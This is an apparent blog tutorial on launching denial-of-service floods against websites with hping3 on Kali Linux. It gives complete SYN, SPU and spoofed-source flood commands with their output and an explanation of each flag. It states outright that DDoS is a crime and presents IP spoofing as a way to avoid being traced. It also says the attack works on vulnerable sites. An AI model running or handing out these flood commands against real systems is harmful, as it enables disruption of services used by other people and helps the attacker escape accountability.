DoS Attack using hping3 with Spoofed IP in Kali linux

In this article i will be showing you how to ddos a website using hping3 in Kali Linux. In computing or server denial-of-service (DOS) or distributed denial-of-service (DDoS) attack is used to flood or overload the targeted system temporarily.

Why to DoS or DDoS using Spoofed IP

As we know that Performing a distributed denial of service attack is cyber crime. So we need to hide our ass(our IP Address), because anyone can trace us using our IP Address.

What is hping3 in Kali Linux

hping3 is a network tool that can send custom TCP/IP packets and to display target replies like ping program does with ICMP replies. hping3 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols.

DoS using hping3 with random spoofed IP

root@kali:~# hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.mytestwebsite.com

HPING www.mytestwebsite.com (lo 127.0.0.1): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

^C
--- www.mytestwebsite.com hping statistic ---
1189112 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@kali:~#

Syntax’s used in this command are:

1. hping3 = Name of the application.


2. -c 100000 = Number of packets to send.


3. -d 120 = Size of each packet to be sent on targeted machine.


4. -S = I am sending SYN packets only.


5. -w 64 = TCP window size.


6. -p 21 = Destination port (21 being FTP port). You can use any port here.


7. --flood = Sending packets as fast as possible, without taking care to show incoming replies. Flood mode.


8. --rand-source = Using Random Source IP Addresses. You can also use -a or –spoof to hide hostnames. See MAN page below.


9. www.mytestwebsite.com = Destination IP address or target machines IP address. You can also use a website name here. In my case resolves to 127.0.0.1 (as entered in /etc/hosts file)

Command to DoS using hping3

SYN flood – DoS using HPING3

SYN flood is a form of denial-of-service attack in which we sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

root@kali:~# hping3 -S --flood -V www.mytestwebsite.com
using lo, addr: 127.0.0.1, MTU: 65536
HPING www.mytestwebsite.com (lo 127.0.0.1): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- www.mytestwebsite.com hping statistic ---
746021 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@kali:~#

SYN flood with spoofed IP using HPING3

root@kali:~# hping3 -S -P -U --flood -V --rand-source www.mytestwebsite.com
using lo, addr: 127.0.0.1, MTU: 65536
HPING www.mytestwebsite.com (lo 127.0.0.1): SPU set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- www.mytestwebsite.com hping statistic ---
554220 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@kali:~#

Final Words

Now a days many modem or servers can easily block any ddos attack performed by any linux including kali linux. Even i am also using CloudFlare Fiewall to prevent denial of service attacks. So this guide will only works on vulnerable website and servers. Anyways if you have any doubt or questions regarding DDoS attack feel free to comment below.